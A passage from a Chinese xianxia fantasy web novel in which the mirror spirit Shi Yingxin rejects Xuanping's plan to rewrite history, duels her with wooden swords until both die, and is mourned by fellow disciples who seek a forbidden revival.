她正有一些心虚,却见童柔意的神色一变,全然成了另一个“人”的模样:【……这些旱魃虽并非我本体,但因我而生,我如何能无动于衷?昔日我以火驱风雨,众人敬佩;如今时过境迁,谁还记得我的辉煌?只认得可笑的旱魃罢了!】 对,不错,一位天神若要失落,似乎是声势浩大的灭亡最好;像这样不死不活、受尽屈辱的缓慢凌迟,不能衬托她们出凡的身份、受人敬佩的神格。 更何况是贡献了自己所有的神祇。 女魃在自嘲地冷哼一声:【现下的人间简直是倒反天罡!我散尽神力替姬有熊打下的天下,竟沦落到那些且氏族的后代手中,太可笑了!不过既然我回来了,就勉为其难地接手这拨乱反正一事吧,于我不过也小事一桩。】 【你受了这么多苦,这几千年来可曾后悔当初下凡来帮姬有熊?】 【后悔?】她抬眼来看镜灵,露出一个冷酷的嗤笑,【后悔是你等凡人才会做的事,我的眼中只能看到死灰复燃的火焰,卷土重来的荣耀!几千年的等待算什么?只要……】 她头一垂,再抬起来时变成了羲和的脸,她瞪大眼睛盯着面前之人,忽然站起来哇哇大叫: 【输又怎么样?死又如何!勇者较量的胜败何来屈辱!赢了我们,对姬有熊来说是最大的荣誉!就算要输一百回,我也会随大酋长重来一百零一回!】 这声音震荡着水面哗啦啦掀起波浪,从天而降的雨水也被冲开,树木枝叶都发起抖来。 【我誓死跟随大酋长!】 【没错,不就是重来?待我重振我族,东山再起,定要夺回属于我们的一切!哈哈哈哈……常曦说了,不服输的人永远不会输!】 常曦抬头望月,月色将她的脸照得很冷静,话中的恨意也格外清明:【没想到……时过境迁,今非昔比,东夷竟变成了那些异族奸人的领地。】 【像他们这般惯会使些阴险狡诈、卑劣手段的小人,先是害我与姐姐分离,后不知又耍了什么阴招,竟夺去了姬水人的东夷,还有脸在此称帝。甚至……为了壮大他们的声誉,厚颜无耻地张冠李戴,不仅篡改了我姐姐的名字,甚至将她归于且氏族,竟变成一个男子!】 【他们怎么敢?他们怎么配?竟妄想譬如积薪、后来居上;可老天无眼,真让他们成功了。如今世间对这些讹言习非成是、积重难反,大酋长、姐姐与姬有熊的丰功伟绩,都成了他们的荣誉!】 常曦冷飕飕地挪眼看向她:“你叫我如何不恨?” 石映心听到这,忽然明白了什么,喃喃道:“所以这就是……你和旋娉的交易吗,常曦?” 常曦朝她温柔一笑,仿佛是一种回应:“只要世上还有太阳,还有月亮,命运的陷阱便永远不会停止。终有一天……” “就让亘古不变的日月见证,我和姐姐重逢之时。” “终有一天……她会回来。” 石映心忍不住问道:“她究竟是谁?” 是旋娉还是羲和,亦或是…… 女娲? 笼罩常曦的温柔月色被金红衣衫挥去,竟成了华服加身的女帝童柔意,她转过身来,盛气凌人道:“杀几个皇帝算什么——男人怎配称帝?!” 石映心如梦初醒,转身走向下一面镜子。 这次的镜面中燃着旺盛的火势,其中似乎横七竖八地躺着一些尸体,那立于尸骨之火上的……是三足乌,这只凤凰神鸟不会说话,只幽幽看着她。 石映心正想看看神鸟心中所想,忽然见她脚底下的火中……伸出一只被活缠绕的手来:【救我……石仙人……】 石仙人有一会才想起来,他叫楚汴。 第316章 他浑身被火吞噬着,看着痛苦万分,但偏偏还活着,还要向她求救……不,真的是向她求救吗? 【“哈,哈哈……不错。我嫉妒……你们这些……不食、人间烟火的修士……厌恶我等、为己恶念……祈神高照……却无所可依的凡人。罢了……是我不该奢求同情……而如今……” 少司命望向深黑的空中繁星簇拥的明月,人间地狱与世外仙境在此刻被火光相融;但天那么高那么远,凡人眼中的触手可及,只是期许的幻象罢了。 【……神终于将我厌弃。】 神? 石映心看着他变成了流着血泪的石头的双目想,你祭祀的神明可并非真正的天神帝俊。 有一根羽毛飘了出来,幻化成凤凰的影子飞出火场,路过一对师徒。 【师父,我记得书上曾说,凤凰背负世间苦难和恩怨自愿投身火海,以性命换取人间新的祥和幸福,死而复生。这么听来,倒是与我们门派中的神佛故事有些相像。】 【乐鸿,你可知为何相像?】 【都是舍生取义的感人故事,蕴含大无畏襟怀。】 师父闻言,笑着摇了摇头:【故事是凡人编撰的,神仙并不掺和;人们祈求什么,故事中的神便应有这般法力。像凤凰这类上古自然神,与我们如今侍奉的神佛有很大不同,如今却大同小异,确实叫人唏嘘。】 乐鸿依旧感到许多茫然,他望着不远处夜空中飞向月亮的火凤凰,随之望向了镜子前的石映心,喃喃地问: “那么这一次的凤凰涅槃……是为了什么呢?” 石映心已经知道答案,并不作停留,继续往前走。 下一面镜子里,果然是蛇妖姬源,花圃之前,她对着一个女人的背影请求:【救救那些无辜的女孩。】 【我不忙吗?】 【你也忙,不过他没有人性,你有。】 【人性难道是什么好玩意?最肮脏的是人性,最脆弱的也是人性,世上所有的人性都不可估量。】 姬源站起身来,转过头望着她,笑了笑道:“你说得不错,人性不是好东西,可偏偏你有一点。” 石映心捂住自己的凡心,脚步微微一撤,却见镜中画面一转,又来到帝女石窟之中,姬源对着她们师兄妹几人道:【她虽自嘲照猫画虎,毕竟谁又见过女娲呢?可我知道她不甘心,有一些天意使命般的自信在她心中,让她无法放弃。】 天意使命? 也对,毕竟金瑶身负女娲神力。 她听到镜中传来自己的声音:【你要去哪?】 【昆仑山,瑶池。】 【去她的身边……】 她就这么轻易地走了,也许早该走了;在寂寞的石窟中等待千百年,只不过是为了留下金瑶的传说。 【重生之恩无以为报,姬源愿为你鞠躬尽瘁,死而后已。】 只是这样。 【映心,我忽然想起师祖曾同我和桑九说过的一些话。】 【嗯。】 “师祖说……死亡就是人返回于自己的氏族图腾。”镜中的邬芽朝石映心笑了笑,“我好像明白了。” 那么,她,天地之镜又是如何呢? 她不明白。 终于来到最后一面镜子,她默然等候一会,却迟迟不见画面出现;后知后觉地回神,镜中人其实是……石映心。 “你已经什么都清楚明白了。”镜中人说。 “嗯。”石映心不知道这算不算自问自答,“旋娉要帮她们夺回本该属于她们的一切,夺回在女娲神力的光辉之下,每一颗凡心的欲望所指。” 镜中人若有所思道:“那么她要杀很多人了。” “没那么简单,如今已经积重难反。”石映心分析道,“她应是打算……通过女娲神力和换月神阵回到过去的某些节点,让历史就此改变。” 镜中人:“如何改变?” “比如替常曦杀了那些异族人,让他们无法延绵后代、壮大实力;那么羲和便不会因为部落被夺而离开,连带的影响很可能是:炎帝女娃不会死,女帝制度会继续传承,童柔意继承皇位便是顺理成章……” “比如杀了当时只是少数祭祀男性帝俊的那 些信徒,如此乌明山庄便不复存在,后来的三足乌族中也不会出现那么多悲剧;帝俊能维护自己真正的凤凰女神神格……不必被困在三足乌城忍辱负重,又受凤凰磐涅重生之刑。” “比如杀了盘瓠,杀了金三,杀光那些阴险狡诈、自私自利的蛊修;那么螺族的女子就能得到她们本该有的蛊术资源和光明前途;蛊术不会广陵散绝、后来的药神谷蛊修也不会只有寥寥几人…” “比如替泉绮解决了罪魁祸首,这样鲛人族便不再受所谓诅咒的拘束,她们的命运也会就此改变:就像泉绮期望的一般传法建功、繁衍子嗣,愈发昌盛兴旺、源远流长;而不必因为一个男人的错误让世世代代都要生子退功,年纪轻轻就要面对生死难题……” “还有旋娉自己,也许是做一个自私自利的神,也许继续做她自由自在的天下第一修士。世人会铭记她的名讳、她的强大,她成神的荣誉……不会像如今这样被抹去存在的痕迹。” 石映心已经想了这么多,她笑了笑:“所有的一切都不一样了。” 这便是旋娉和她们达成的交易……不,应该说是共识。 她们认定,世间的一切本该就是这样;她们等着她回来,劈开覆盖在真相上的厚重阴谋,夺回本该属于她们的一切;因此想方设法地将女娲神力“还”给她,为她养精蓄锐,为她扫清归来的前路…… 只等她回来那一日,便是一切过往将被改变的时候。 “到那时……”镜中人说,“天地便完全不一样了。” 石映心抬起头来,看向镜中人颔首道:“对,这就是她的目的,让天地按她们的意愿和设想发展。” 镜中人微微歪了下脑袋:“那会是个怎样的世界?” 石映心想了想:“也许会比现在好,如果没有那些悲剧的话……” 说到这她却无法再说下去,即使前边假设了那么多“如果”,但当所有一切“如果”都实现的时候,却无法可想了。 镜中人:“你觉得如何?” “很难说。” 镜中人却有些疑惑地问她:“你已经见证了这些悲剧的一切,泉芷等人更是你交好的道友,难道你不想让她们得到应有的幸福快乐?很难说是何意?” 石映心谴责地看向镜中的自己:“你怎么咄咄逼自己?” 镜中人一愣,轻笑一声,忽然变了模样,这是…… “小鱼?” 小鱼对着她流下了眼泪:【石仙人大恩大德,小鱼无以为报,下辈子当牛做马也要报答仙人!】 石映心很轻地叹了口气,微微摇头道:“我救你是想你过得好,不是想你这辈子凄凄惨惨,下辈子还要做谁的牛马,为了这一份与我而言微不足道的恩情……” 【恩人,我也不愿这么凄惨。】小鱼哀戚地说,【古言道:“女能事无形,以舞降神者也”。姥姥说,女子有和无形之神灵沟通的本事,可用舞蹈等仪式请神明显灵,以祈雨祈福驱邪……】 【您也说过,正是因为女子强于男子,拥有事无形的本领,才能担此重任。若是烧死男巫,怕是徒然死个人罢了,并不会得到神明的搭理。】 【那么为何如此厉害的、得天怜悯的女巫,却被人们用这般残忍的方式上海呢?难道女巫的命就低贱吗……石仙人?】 “异族人!”小鱼又变成了咬牙切齿的童柔意,“一切都因他们而起!” “像他们这般惯会使些阴险狡诈、卑劣手段的小人……”常曦冷漠地看着她,“为了壮大他们的声誉,厚颜无耻地张冠李戴,他们怎么敢?他们怎么配?竟妄想譬如积薪、后来居上……” “不只是故事!”小师妹又哇哇叫着冒出来,“这样众所皆知、日后还要代代相传的传说是很重要的!要不然他们为何费尽心机地篡改故事真相呢?” 几次晃眼后,镜面的波浪终于归于平息,又变回了石映心。 镜中人道:“那些且氏族的人,从古至今都试图将女子的一切变得卑贱,将她们的荣誉占为己有。如今的世间看起来风平浪静,稳定发展,但你经历了这些故事,又怎会不明白……这些不过是对真相的粉饰太平?” 石映心垂眸喃喃道:“可是事已至此。” “事已至此?”镜中人猛地逼近镜面,直勾勾盯着她道,“问问你的朋友们,问问邓晴泉芷姬滢常曦屠芜邬芽……问问她们是否甘心?就算事已至此,就算你已经帮她们解决了难题,可为何一切都要发生!?” “你只不过是……你只不过是不想失去你现在拥有的一切!”镜中人的声音从她的耳朵传入心中,轰轰震荡,“你也同样自私!” 石映心抬起眼看镜面,她一直很坦诚:“对,我不想失去我现在的一切。一切悲剧不曾发生过的未来也许很美好,但我如何确定,在那个未来里我还是我,我师父还是我师父,我师兄师妹还是她们本身?” “说个极端的可能,”石映心轻轻一笑,“也许那时我只是个镜灵,而不是石映心。” “你承认了!”镜中人仿若拿到她的把柄,语气有些得意,“你阻止旋娉,正是因为你的私欲!” 石映心“嗯”了一声。 镜中人笑起来:“你不是一直很好奇自己的心意吗?如今便是个好机会,你可以通过这面镜子照自己。” 第317章 石映心看着镜中的笑脸:“以前是好奇,不过现在我已经明白我想要什么。” “不,你不明白。”镜中人微微摇头道,“听你方才的语气,丝毫不觉得自己的自私自利如何,你依旧认定自己的选择没错。石映心,你敢不敢照照自己,看清那颗凡心之中究竟藏了多少罪恶?” 石映心:“不照。” 镜中人:“害怕?” “不。”石映心 微微摇头,对着镜中的自己认真道,“我已经接受了我的罪恶,接受了不去期待另一个可能光明的未来的自私自利,接受了这颗脆弱的不完美的凡心。” “石映心的态度就是‘事已至此’‘总而言之’‘来都来了’,走好脚下的每一步路,而不是改弦易辙。”石映心说,“我并不觉得泉芷她们会和我不同,因为她们选择直面困难,而不是徒然接受。” “她们是怨恨始作俑者,可不会选择回到过去改变什么,将命运交到更未知的因果之中;而是往前走,走出每一步看得清的、且属于自己的路。” 镜中人:“哦?你怎么知道?” 她当然知道,她照过她们的心思,不过:“就算她们和我不同。可如今站在这里的是我,拥有选择的是我,那么以我的凡心做出决定,就是自私自利又如何?罪恶又如何?我接受一切后果,就像你一样——旋娉。” 镜光闪过,映出旋娉的模样。 她们隔镜对望,即使没说话,眼中也有许多言语;大概是太了解彼此的心意,对视着就感到了吵闹。 许久,镜灵对心镜中的仙人轻声道:“旋娉,我比你更明白你,你需要的是未来。” “哦,是么?” 随她一声轻笑,天外之天如镜面炸裂破碎,一切又回到了最开始的地方——度朔山之上。与方才飘飘欲仙的茫然不同,石映心慢慢感到肉身上传来的真实的疼痛,那是旋娉插入她心口的手指正在施法。 “没有谁能给我一个我想要的未来,”旋娉的面孔就在她眼前,那么近,丝毫不怕她的照视,“只有我才能掌握一切,我只相信自己!” 石映心扯起嘴角:“不,你相信的不是自己,是旋娉。” 旋娉双眼微眯:“什么?” “你害怕……”若是用力些呼吸,石映心便会感到更大的疼痛,但她依旧深呼吸,提着气道,“你压根不自信!” “胡说!” “你勘破命运的玄机,知道旋娉将是你投胎转世中最强大的一世,因此才不肯放手。”石映心的笑容浮出一丝嘲讽,“你只相信旋娉能带给你想要的一切,若旋娉不行,下一世变弱的你如何可能?” 旋娉瞪大眼睛看着她:“我为了这一切付出了这么多,千百年的心血!搁你你乐意!?” “千百年……对啊,已经过去千百年了。”石映心看她便感到难过,“千百年前的愿望……已经不适宜当下的世间了。女娲早已明白了天地的运行真理,因此才选择死亡,分散神力,让神力不断投胎转世,从而因时制宜……” “可我还活着!”旋娉咬牙道,“她们都在等我回来!” “等你的不过是……一缕残念罢了。”石映心死死捏着旋娉的手,不知竭力地尽力着,“她们早已投胎转世,你也知道她们是谁;哪怕已经更换了身份和面容,但她们身上的女娲神力……你一定认出来了。” “不论是合欢宗、天机阁、药神谷还是幽冥宗……她们早已经回来了,比你旋娉还早!因果牌通过任务让你我与她们相见,帮她们解决了此生的困境,照见了明亮的未来……这才是冥冥中的注定。” “旋娉,”石映心疼地眼角冒泪花,“你已经实现了对她们的承诺,兑现了她们的愿望,只不过……是在千百年后换了种方式,可也不负她们对你的等待,你不能再执着了……” 旋娉当然认出来了,当然也明白一切的相遇为了什么。 她恍然失神,片刻之后喃喃道:“那我呢?我的愿望呢?” “我知道你的愿望。”石映心道,“你要成神,你要至高无上的荣耀,你要自在的权利。可你看看——如今的天地之间,哪里还有真正的神?我从你回忆中的那朵云彩心中得知,其实你本是女娲神力选择的最后一位神祇,只不过……” 旋娉诧异地看向她:“最后一位?” “对,你却认为这不是你想要做的神,”石映心直白地揭露她心中的罪恶,“可你自知无法改变当时的规矩,因此才另辟蹊径,想着回到过去通过改变历史从而改变神的制度,再重回未来、成为你心中理想的神……” 旋娉……旋娉听愣了,她从未有过这么坦白的计划,从来只是知道自己要做什么,要达成什么目的;经过镜灵一说,才算是彻底明白了自己“目的”之下的真心,真心中的欲望。 “你……你真聪明。她的反应是很难看地笑了一下,“不愧是天地之镜。” “天地之镜不懂这么多。”石映心苍白的唇色小幅度动着,“它能照出人心,却照不出心中的欲望;因为普世的欲望……只有凡人才有。” 旋娉神色不明:“我是凡人?” “我们不是凡人。”石映心对旋娉说,“但都有一颗凡心,这便是仙和神的区别。” 仙和神的区别?旋娉先前没想过这事,她不在乎什么区别,她只在乎自己。 “旋娉,如果你想我真正地懂你,不要夺走我的心……” 旋娉怔怔地看了她好一会,看她一双黑亮的双目糊在泪水之下,竟然分不清她是在“照”她还是在“看”她。总之,也不那么重要了:“若你真的懂我,想来也明白了我的答案,石映心。” 石映心深深地望着她,此刻才明白为何人总有这么多复杂的心情,而这些说不明理不清的情绪,最好是化作一抹浅浅的笑: “好……我明白了。” “石映心,这次算我对不住你——” 旋娉闭了闭眼,再次睁开时只有决然的信念;她不再犹豫,毅然决然地将手生生刺入了石映心的肉身之中;与此同时,她感到有什么从边上漂浮了起来,微微震动后猛地直冲而来。 那是帝血剑。 旋娉已经捏到了那颗心脏,心脏主人的佩剑此时并不值得她在意,只要捏爆手中的活物,帝血剑自然也会失去指挥。旋娉于是想随意地挥手打掉,却见那把剑在她挥起的手前竟然调转了方向,朝它的主人而去—— 这是要做什么? 帝血剑速度之快,手上还忙活着的旋娉来不及阻止,甚至有片刻的茫然,惊醒她的是眼前有一片影子飞扑而来,她下意识闭上眼,感到眼皮上是湿漉漉的温热,她没捏心脏的那只手将它抚下,只见手心一片血红。 这是……谁的血? 旋娉诧异地地抬眼看去——原来是石映心双目爆出的血液飞溅而出遮蔽了她的双眼。帝血剑刺出两颗漆黑的石头后,失魂落魄地随之掉到了地上,没有声响。 “小镜灵,你……”旋娉捏着她凡心的手抽了回来,她脸上的血液遮不住不可置信,“……你知道你在做什么吗?” 石映心捂住流血的胸口,用不断流出她身体、但目前还没流光的灵力为自己暂时止了血,其实她胸口的血还没脸上两个窟窿流得多呢。 “我知道。”语气倒很镇定。 不错,她既是凡人,又是镜灵,二者共同组成了她,石映心;旋娉觊觎她的心镜,那么她只好毁了镜面,从此舍弃镜灵的身份;只是心镜和她的凡心早已融为一体,甚至充当了修仙者灵府的存在,毁了心镜,就是将储存灵力的容器打碎,灵力便会流逝消散。 石映心明白自己的身子,旋娉就在她心镜之中,自然也明白。 不过。 “我还知道。”石映心道,“旋娉,你的所有神力也在我的心镜之中。” 也就是说,她同时流出的还有旋娉的神力。 “呵……”旋娉荒唐地笑了声,她看到石映心的周身散发着无数的光辉,那是她千百年来的心血;不过如今还在换月神阵的范围内,一切都有挽回的可能,“看来,你是容不下我了!我可没想杀你,从头到尾都没想!” “是我容下你太久了。”石映心往边上走了两步,弯腰拿起帝血剑,“你不想杀的不是石映心, 是天地之镜。” 话说得这么明白,倒也不必再讲感情,旋娉冷声道:“好,石映心,你很好!” 石映心拿起帝血剑指着她,即使她已经无法视物、满眼黑红,但身为剑修,感知力便够了。 剑修对着面前之人宣战道:“旋娉,你我身上的灵力已然不多,就以凡人的招式决胜负吧。” 旋娉感到十分的可笑,但她们本就是互相牵制的关系,那还能如何呢? 她深呼一口气忍下怒火,摊手道:“好啊,可我没有剑。” 石映心想了想,将手中的帝血剑扔给她,自己拿出一把伤痕累累的木剑来:“帝血剑因你而来,为你而用也应当。” 旋娉看了看手中的剑,又看了看面前失明的剑修,冷哼一声道:“和瞎子比试本就胜之不武,何必再用宝剑!” 说罢就把帝血剑扔回了地上。 帝血剑: 石映心就变出一把木剑递给她:“如此我们便一样了。” “谁和你一样?”旋娉拿着剑挽了个剑花,“你比不过我!” 石映心不以为然:“谁知道呢。” 第318章 哐! 随着两把木剑交接迸发出的响声,对决一触即发。二人皆是修士中的修士,天才之中的天才,哪怕不用灵力,对打起来的招式飞舞也是非常好看的。只可惜除当事二者外,世人无幸观战。 旋娉用的是她千百年前的剑法,和石映心使用的归壹派剑招竟是异曲同工,估计归壹派的前身剑宗是在旋娉当时学习的剑法上改良而来,石映心如今也算是和“老祖”对上招式了。 在这样纯技能无灵力添加的战局中,石映心深刻体会到了旋娉的厉害之处:她几乎没有弱点,无懈可击;也没有优点,因为不管是技巧速度还是应变能力等都强得可怕,无法决出哪一个更胜。 好在她也是个基本功扎实的天才剑修,哪怕一开始略落下风,但很快反应过来,凭借高超的模仿能力,几下学会了对方的招式,暂且与她打了平手。 她们仿若没感到自身的灵力在飞速流逝,也许是因为身处充沛的换月神阵灵场之中,也许是不在意了;似乎就这么进入了无人之境,天地之间只有彼此,还有手中的木剑。 旋娉感到很痛快。 “活着”时她早已是天下无敌,那句话这么说来着:无敌是多么寂寞。 不错,她这时想,当时可能是寂寞的,那些修仙者都弱得很无聊,不过大蝼蚁小蝼蚁老蝼蚁年轻蝼蚁之分,和谁打架都那样,非常不痛快。她便自己挑战自己,挑战境界,挑战修仙界,挑战成神。 结果成神之后更无聊——搞什么玩意。 如今和石映心这么一打,她甚至没用一分灵力,却能感到无比的乐趣:原来她还能更强,她还能有进步的空间,还能更上一层楼——因为她还有对手! 这与她千百年来只把自己当回事的理念并不冲突:她发现了对手,便是发现了能变得更好的自己。 可惜了,现在她要做的是杀了这位难得的对手。 换月神阵的灵场在逐渐消退,二人不得不感应到此严峻的情况:这意味着她们的纠缠很快便要结束了。胜负未分也将分。 “石映心!”旋娉抵住她的一剑,穿过二剑交接的叉字看向对面的瞎子剑修,“如果活下来,你要做什么?” 石映心哪怕已经失去了镜灵的一切,但此时居然懂得了她话里的意思:旋娉是在展望自己的未来,需要她的建议参考。 “做什么……”石映心想了想道,“做我以前做的事。” “什么?” 石映心笑道:“回到归壹派,和换月、大师兄二师兄还有师父一起,闲暇时相聚,忙碌时分别;追随因果牌的指引去往八大洲,遇见许多人,参与很多故事……” 旋娉也笑了:“不思进取!” “哦。” “你现在可是个瞎子。” “不用你管。” 旋娉嗤笑一声:“你还年轻,等你再活几十年,最多不过一百年,等你去过了足够多的地方,认识了足够多的人,到时便觉得一切无聊了!你没听过那句话吗?日月底下无新事。” 石映心先是一愣,忽然哈哈笑起来,在旋娉莫名其妙的视线中开朗道:“旋娉,你以为我是你吗?到那时我早已死去、或是几番轮回重来——一切便再次新鲜了!” 旋娉:OO 就待这片刻的失神!石映心随之变换了剑招;只听一声轻而快的木头摩擦声奏响天地变换、偷天换月的最后一曲:石映心挥出方才所有过招中她刻意记下的、旋娉从未涉及过的归壹派改良剑招第二十七式—— 与日争辉! 木剑得愿所偿地染上鲜血。 旋娉确实未察此招,她圆睁着双目看着面前的剑修,后知后觉意识到,石映心方才多是在接招、学招而非出招,原来她一直在悄无声息地……寻找着二人剑法的不同之处。 归壹派的改良剑招确实是“改良”了,这不就胜了她的老招一回? “噗……”旋娉稳住心脉,擦去嘴角的血,一眼未看刺入她心脏不深的木剑,咧嘴笑道,“你以为……一把木剑就能杀了我?哈哈哈——噗!” 什么声音? 这是…… 石映心也愣了,第一次露出这么呆若木鸡的神情,她看不见,但心中明了: “为什么……” 旋娉第二次喷的血多得可怕,几乎将她的下巴和脖颈布满,她艰难地、在石映心的目瞪口呆中侧过脑袋,余光很快触及了那把飞在空中、从背后直刺她心脏的宝器——帝血剑。 她眼眶中的泪水顺着血液流下,是一滴滴的不可置信,落入张开的嘴角,发出无声的、和石映心不同的疑问:“你们……居然……选……她……” 帝血剑短暂的嗡鸣后恢复了寂静,她听到了倒下的身影。 石映心摸索着半跪下来,扶住对方:“旋娉,你终于要死了吗?” 旋娉已经笑出来,因此伤口又喷出了血:“这时候不是……应该问……你没事吧?” “好,你没事吧?” 旋娉又笑了:“很久没有……人这么问我……我从来都是……无所不能……没有……需要别人关心……的时候……” “这次真的要死了吗?”石映心实在有关心的念头。 “真的,真的。”旋娉无奈地闭了闭眼,又抬眼看她,“还好你瞎了……没人可以看见……我的惨状……” 石映心抱住她:“没人会知道的。” “为什么?”旋娉嗤笑一声,“因为你也要死了?” “嗯。”石映心靠着她的脑袋说,“心镜碎了,我的经脉便空了,已经当不了修仙者;这颗凡心也被你捏烂,那么也做不了凡人。如今我还活着,是因为换月神阵的灵场在不断为我补充,等神阵一停,我也将油尽灯枯。” 旋娉默了默,艰难地伸手抚上她的脸:“我真的……没想你死……捏你的凡心,是想……你乖乖……做我的小镜子……可你偏要,自绝后路……你真是个蠢物!” 石映心却笑道:“我才不傻,我只是不想再做镜灵了。前世我只是天地之镜,一世辗转千百年,最后落入你手,为完成你的意愿分散三魂七魄,因此也算完成了天地之镜的使命。” “这一世我似镜灵似凡人,得师父为我寻来的凡心,一步步完成前世同你留下的因果,也算是走完了镜灵石映心的道。那么……下一世,我就能做我自己了,不管是石映心还是谁,只是我自己。” 旋娉听她这些话,也许是死到临头了,也有些感悟。不过她没力气再说什么,本身也不是煽情和会悔过之人,于是只是转头看向帝血剑, 话锋一转道:“哼……她们选了你,你却要死了……” “旋娉,她们不是选择了我。”石映心也很累了,她轻声道,“她们是选择了未来。就是……你和我将要去的……未来……一定会更好……” “小镜灵……小镜灵?” 旋娉掀起沉重的眼皮,看向那双已经闭上的双目,应是记忆中那般澄澈,她望着她,喃喃自语道:“谁准你……比我快……” “石映心……” 天色渐明,空中一同显出了不明亮的太阳和月亮,凡人管这叫日月同辉。 日月交替的时刻,换月神阵在日光的照耀下,灵光尽散。 “师姐……” “噗——” 曾换月吐出一口血来,染不红她惨白的面色,她被边上的二师兄扶住,望着天上哭着脸道:“我真的撑不住了……师姐为什么还没回来?” 顾梦真叹了口气,瞥了眼边上已经晕厥的姬滢:“换月,你已经尽力了。” 方才她们好不容易控制住了寻鹰,就想上去找石映心,但妽荼说上面的换月神阵已成结界,不可乱入,否则结界被毁,里头的石映心也会遭殃;唯一能做的就是维持神阵的灵场,为石映心提供时间和灵力补充。 她们只能等待。 等着等着却见神阵猛地大放光芒,明显是上头出现了异样,妽荼和慕雲似乎想到了什么,脸色变得很不好看,但依旧阻止她们上去;甚至要求所有人都别干看着,能帮忙维持神阵的都帮忙。 但这可是换月神阵啊,维持它的灵场实在耗费精力;曾换月用上了打鸡血虫,不要命地强撑着精力;其他人只能干一会歇一会,歇一会再干。 就这么僵持了许久,也许也没很久,只是太过难捱——却见新一日的旭日东升,神阵总算破灭了。 那么……石映心呢? 明易已无法再等,就要飞上去看,慕雲紧跟其后;二人飞到一半,却见有什么东西从天上掉了下来,紧忙飞去接住——可不就是她们的映心吗? “映心?”明易不敢大声叫怀中的人,“映心……” 慕雲失神地看着三徒弟,一下说不出话,几次张了嘴没法发出声音,最后只是忍耐地说:“……先下去吧。” 二人回到地上,众人连忙围过来。 “师姐!”精疲力竭的曾换月一下提了精神,看了眼师姐的惨状,实在不忍看,便问她大师兄,“大师兄,师姐没事吧?” 明易将石映心半抱在怀中,紧了紧拳道:“我现在替她……诊脉。” 说着探上她的脉搏,指尖隐隐开始颤抖。 “大师兄,”顾梦真没眼力色地问,“映心如何啊?” 明易没说话,只是继续探脉。 姬滢被姐姐扶起来,诧异地看着眼前的景况,摇头道:“怎么会这样……这不对……” 姬漓深深叹了口气,不知道说什么。 第319章 “大师兄!”曾换月用沙哑的声音叫道,“师姐怎么了!若是伤势严重,我们要赶快回门派救治啊!” 明易轻轻吁了口气,仿佛没听见任何人的声音,因此也无法回话;只是脸颊贴住了师妹的脑袋,温柔地说:“我会救你……映心,大师兄能救你……我能救你……” 说罢,旁若无人地将石映心小心放在地上摆出打坐的姿势,自己也坐在了后头,使了手诀,很快开始为她施法传功。 曾换月虽觉得奇怪,但见大师兄开始疗伤,便扯了个难看的笑:“对,救人要及时,不用回门派……” “够了!”她话音未落,却听妽荼道,“明易,你这是在做什么?” 明易专心致志地没回话,曾换月被吓一跳:“仙尊你干嘛啊……我师姐都晕过去了,大师兄在救她!” 妽荼通红的双目看向她,却不是严厉的目光,竟是不忍:“此次歼灭旋娉一事,映心立了大功。等风平波息之后,我会奖赏你们,灵石宝器应有尽有……总之先回去吧。明易,够了。” 明易依旧自顾自地。 顾梦真忽然道:“就不要什么奖赏了,请仙尊多给一些调养身子的灵药吧,映心还要好一段时日恢复……” “她已经死了!”妽荼实在忍无可忍地戳破真相,“她和旋娉同归于尽了!” 曾换月以为自己大脑混乱听错了话:“仙尊你胡说什么……” “如今在你们眼前的不过一副残躯!”妽荼不管不顾道,“灵脉俱损、凡心破碎,早已死透了!” “你胡说!”曾换月大叫道,“我师姐不会死的!你胡说!” “映心!”顾梦真也叫道,“映心你醒醒,有人造谣你死了!你快睁开眼——” 妽荼又气又伤,一挥袖道:“慕雲,还不管管你徒弟?已经死了一个,难道还要让另一个白费力气去救一个死人?就是他耗尽灵力也是竹篮打水一场空!” 曾换月:“你这么说话的?你是仙尊就能乱说话吗?” 顾梦真:“就是!我师妹分明没死!” 慕雲在徒弟们的吵闹声中恍然回神,走到大徒弟的面前,搭上他的肩膀道:“够了,明易,够了……” 妽荼松了口气,好在还有个明事理的。 慕雲坐了下来:“让为师来吧,为师来救映心。”说着便开始施法。 妽荼:…… “真是疯了!” 她气得想一走了之,就算蚩尤和旋娉都死了,但外头还乱着呢,她之后得花好多时间去收拾烂摊子;一转头却看见了被邬芽和桑九扶起来的寻鹰,脑袋又是一疼,心说这还有个要收拾的,真是烦得不行。 “妽荼仙尊……”邬芽忽然叫她。 “石映心已经死了。”妽荼破罐子破摔道,“你们爱救不救吧!” “确实是这事!”邬芽连忙道,“师祖说她有一个禁术可以救映心!只要在她九影还未投胎转世之前……” “什么!?”明易等人猛地回过头,直勾勾地叮嘱邬芽,“快救映心!” 寻鹰咳咳两声,她被妽荼她们制服时受了很重的伤;方才知道旋娉死了,更是吐出了一大口血来,如今话都说得很慢:“需要有……三个条件。” “什么条件?” 寻鹰言简意赅道:“一,可重塑经脉的宝器;二,足够的灵力;三,不死之药。” 几人:OO? 这算什么条件,简直是无稽之谈。可明易先站了出来:“我和映心的修为都在化神期,而且我已习得出传送自身修为的法术,我有足够的灵力传递给她。” 桑九看向他:“这并非只是传输一些,像石映心这样经脉俱损、灵力尽散的情况,你要传……只能传所有。也就是说你所有的一切都……” “我知道,”明易压根没听下去的耐心,“我来传。” 曾换月举手:“不够还有我!” 顾梦真连忙跟上:“我也行!” 明易拒绝:“你们不是剑修,功法和映心不同,不合适。” 二人:“……哦。” 邬芽提醒道:“还有其他两个条件……” “那个……”姬漓拿着什么东西举手发言,“额,是这样的,我们来的路上遇到了一位合欢宗的道友,她说有一个从昆仑山神仙那得来的宝贝,不知道能不能……” “昆仑山!”曾换月几乎朝她扑了过去,“西王母不死之药!” 姬漓一吓,连忙将手上的深蓝色海螺石头递给了她:“给你给你,可我们也不知道这是什么!” 曾换月连忙接来送到寻鹰眼前,后者一看,先是瞪大了双眼,而后耸动肩膀笑了几声道:“不死之药……没想到……这么难寻的宝贝……你们也有。那么……第一个条件呢?” 可重塑经脉的宝器。 器修已经将自己的储物袋翻个底朝天了,他拿出一样就递过去:“是这个吗?” 寻鹰摇头。 “这个可以吗?” 寻鹰摇头。 “要不你试试这个!” 寻鹰累了,懒得抬眼皮。 “这个这个!” “……” 老半天了。 器修抹了把泪,如果救不了他师妹,就是再多的宝器和灵石又有什么意义呢?他着急到自暴自弃,在快见底的储物袋中摸索出一个平平无奇的石头,抽了抽鼻涕,忽然气上心头,狠狠砸了自己脑袋一下:“我怎么尽炼些没用的玩意!” 寻鹰猛地抬眼,盯住他手上的东西:“就是它!” 被石头砸破脑袋的器修:OO? 